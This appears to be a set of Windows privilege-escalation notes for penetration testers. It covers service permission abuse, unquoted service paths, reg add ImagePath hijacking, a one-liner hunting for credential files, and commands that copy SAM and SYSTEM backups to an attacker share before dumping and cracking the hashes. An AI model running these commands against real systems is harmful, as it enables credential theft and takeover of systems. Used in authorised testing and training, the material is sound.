System Information

general system information

systeminfo

one way to find out whether you are in a virtual environment or not is to check the output. for example the picture bellow is the output from a windows 10 machine in virtualbox:

for OS name and version ( can add any other filter too ) :

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

show information for a remote system ( used in domains ) :

systeminfo /S [ip or hostname]

environment variables:

Quick Security Checks

for both offensive and defensive sides of things.

GitHub - GhostPack/Seatbelt: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.GitHub

net start
wmic service list brief
sc query
Get-Service
sc start [name]
sc config [name] start= demand
sc stop [name]

get services real name with net start output

sc getkeyname "service name"

check the required privilege level for each service.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul

check if you can modify registry entries of any services

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service.

To change the Path of the binary executed:

reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

find all service executables

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\services.txt

FOR /F "tokens=2 delims= " %i in (servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

search for unquoted service paths

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

check for weak service permissions

accesschk.exe -accepteula -wuvc "Everyone" *

accesschk.exe -accepteula -wuvc "Authenticated Users" *

Scheduled Tasks

search files for credentials

not as straight forward as linux, we first have to create a listing of all directories in the drive we want (usually C drive):

dir /b /a /s c:\ > cdirs.txt

/b → Uses bare format (no heading information or summary)
/a → Displays files with specified attributes
/s → Displays files in specified directory and all subdirectories

then we search this file to find directories and files that might be interesting:

type cdirs.txt | findstr /i password
type c:\rto\c-dirs.txt | findstr /i ssh
type c:\rto\c-dirs.txt | findstr /i kdbx
type c:\rto\c-dirs.txt | findstr /i vnc

some of the interesting directories/files in windows:

unattend.xml
Unattended.xml
sysprep.inf
sysprep.xml
VARIABLES.DAT
setupinfo
setupinfo.bak
web.config
SiteList.xml
.aws\credentials
.azure\accessTokens.json
.azure\azureProfile.json
gcloud\credentials.db
gcloud\legacy_credentials
gcloud\access_tokens.db

one-liner to check for credentials in all files

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

SAM and SYSTEM backups

The SAM and SYSTEM files are located in the C:\Windows\System32\config directory. The files are locked while Windows is running. Backups of the files may exist in the C:\Windows\Repair or C:\Windows\System32\config\RegBack directories.

if you find any backup files copy them to the attacker machine and use creddump7 to dump the hashes from SAM database:

copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\

git clone https://github.com/Neohapsis/creddump7.git

python2 creddump7/pwdump.py SYSTEM SAM

you can try to crack the admin hash with hashcat:

hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt

Tools that search for passwords

MSF-Credentials Plugin is a msf plugin I have created this plugin to automatically execute every metasploit POST module that searches for credentials inside the victim. Winpeas automatically search for all the files containing passwords mentioned in this page. Lazagne is another great tool to extract password from a system.

The tool SessionGopher search for sessions, usernames and passwords of several tools that save this data in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

check for weak file permissions

accesschk.exe -uws "Everyone" "C:\Program Files" 
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
